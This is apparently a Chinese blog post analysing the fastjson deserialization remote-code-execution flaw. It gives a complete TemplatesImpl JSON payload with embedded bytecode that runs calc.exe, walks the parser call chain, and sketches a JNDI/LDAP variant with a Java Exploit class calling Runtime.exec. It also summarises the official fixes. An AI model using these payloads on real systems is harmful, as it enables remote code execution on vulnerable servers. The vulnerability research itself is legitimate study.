fastjson反序列化漏洞研究(下)
之前的文章显示字符太多 拒绝显示 只好分为两篇了
这样我们只需要找到可以利用的类,构造poc链就好了,这个和以前的java反序列化漏洞类似,先不说。网上最早的poc是使用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。构造如下json字符串
{
"@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes" : ["yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAIY2FsYy5leGUIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEAD2xpZ2h0bGVzcy9wd25lcgEAEUxsaWdodGxlc3MvcHduZXI7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPADcAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAPwAOAAAAIAADAAAAAQAPADcAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAQgAOAAAAKgAEAAAAAQAPADcAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAGwADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAAACACAAAAACACEAEQAAAAoAAQACACMAEAAJ"],
"_name" : "M0rk",
"_tfactory" : {},
"_outputProperties" : {}
}
先Debug跟进下parseObject中进行分析:
这里看到调用parseObject时,指定了第三个参数为Feature.SupportNonPublicField,代表识别private参数,默认情况下fastjson只识别publilc参数。这里之所以需要设置识别private参数时因为该poc中主要利用的就是TemplatesImpl类中的私有参数,这就难受了,一般开发者谁闲得没事加这个参数呢,所以说这个poc比较难以利用,不过我们还是以它来进行分析起来比较方便。跟进:
经过两次封装后来到了JSON.java中得parseObject方法中
该方法中,先是将Feature.SupportNonPublicField和另外一个值进行位运算后用于构造DefaultJSONParser,其实我们并不需要知道它和谁做得位运算,只需要知道它最后的结果放入了DefaultJSONParser中得lexer属性中得feature中,且后面是用来判断是否加载类的私有属性的。继续往下面看:
调用了DefaultJSONParser.parseObject(),跟进:
在639行处调用了derializer.deserialze(),跟进:
继续跟进:
这里通过json字符串的第一个字符来判断进入那个分支,跟进parseObject(object, fieldName):
方法内,368行处又调用了deserializer.deserialze(this, clazz, fieldName),跟进(这里我之所以每个方法都一一跟进,没有跳跃,是考虑到新手跟进的时候可能会跟丢):
再次跟进parseField(parser, key, object, type, fieldValues),该方法中顾名思义是用于解析对象的属性的:
先在728处进行判断是否加载对象的所有属性,如果是,将在755行处生成DefaultFieldDeserializer,fieldInfo是json字符串中对应的value值。往下看将会调用fieldDeserializer.parseField(parser, object, objectType, fieldValues),跟进
继续跟进:
71行处获取json字符串中对应属性的值,83行处给对象对应属性赋值,跟进可控是如何赋值的
可以看到在85行处是通过反射机制调用对象对应属性的get方法,当然前提是该属性有对应的get方法。so,通过以上的分析,我们大概就知道了当json字符串可控时,我们只需要找到某个对象的构造函数或属性的getter、setter方法中有危险函数,那么我们就可以通过构造json进行反序列化执行危险函数。我们继续看下com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.geyOutputProperties()调用链式怎样的,如何执行命令的(大家如果对java反序列化漏洞的poc链感兴趣,具体可以研究下ysoserial这个工具,也可以参考https://blog.csdn.net/fnmsd/article/details/88543233):
调用链如下
#!java
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
//class新建初始化对象后,会执行恶意类中的静态方法,即:我们插入的恶意java代码
...
Runtime.exec()//这里可以是任意java代码,比如:反弹shell等等。
调用链就不跟了,直接看defineTransletClasses中的339行,可以看到调用了loader.dedineClass(byte[])将字节码中的类容转换为java类,字节码就是我们之前反序列化的TemplatesImpl对象中的_bytecodes属性,可控。这样我们就可以创建任意恶意的java类,并将恶意代码写入该类的初始化方法中,这样类生成后就会自动运行恶意代码(值得注意的是,并不是刚调用完dedineClass方法就真正实例化了类对象,直接调用这个方法生成类的 Class 对象,这个类的 Class 对象还没有 resolve ,这个 resolve 将会在这个对象真正实例化时才进行,我的理解就是真正用到这个对象的时候才会实例化)
接下来我们就需要再看下_bytecodes到底是如何构造的,关于这个大多数好像都是通过ysoserial这个工具来的,大家可以参考这篇文章(https://blog.csdn.net/fnmsd/article/details/88543233)
这段代码就是用javassist来直接操作字节码(感兴趣的可以简单了解下javassist),生成我们想要的恶意类的对应字节码。其实构造poc的时候还有些细节,必须亲自构造才会发现,比如说这里StubTransletPayload继承了AbstractTranslet,是因为TemplatesImpl.getTransletInstance()方法中,会将生成的类强制转换为AbstractTranslet
还有其他细节可以参考这篇文章https://www.freebuf.com/column/180711.html
修复方法
先看下官方的commit吧
第一处添加了checkAutoType方法对类的做黑名单校验,黑名单校验是目前java反序列化漏洞的防范方法之一,缺点是随时可能会被绕过,需要不断的维护黑名单。
另外一处补丁是,默认关闭了autoType支持,只有匹配了白名单中的类才会反序列化成功(https://github.com/alibaba/fastjson/wiki/enable_autotype)
其实从上面这些修复方法中不难可以推断出,这次护网有厂商出现这个漏洞,一种可能是用了低版本的fastjson,另一种可能就是自己开启了autoType功能,而黑名单又被绕过了。
后续
前面也说了,使用TemplatesImpl构造poc时由于需要开发者代码中第三个参数设置了解析私有属性,这样这个洞就很难利用了,有没有办法一发入魂呢?那就是需要利用JNDI了,关于JNDL更多详细信息可以参考这篇文章(http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/),JNDI的实现方式有很多,RMI、LDAP、CORBA等等,本文就以ldap服务为例进行演示攻击(至于具体的调用链可以参考这篇文件https://www.cnblogs.com/afanti/p/10193164.html,利用的是com.sun.rowset.JdbcRowSetImpl类)。
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("calc.exe");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
本地测试使用的是弹计算器,实际常见中可以反弹shell或ping来进行验证漏洞
接下来就是使用创建ldap服务了,这个可以直接使用marshalsec进行
接下来就可以进行验证了
构造json数据
可以看到,上面缺陷代码中并不需要设置第三个参数来识别私有属性。
--------------------------------------7.18--------------------------------
补上最新的poc,无需开启autotype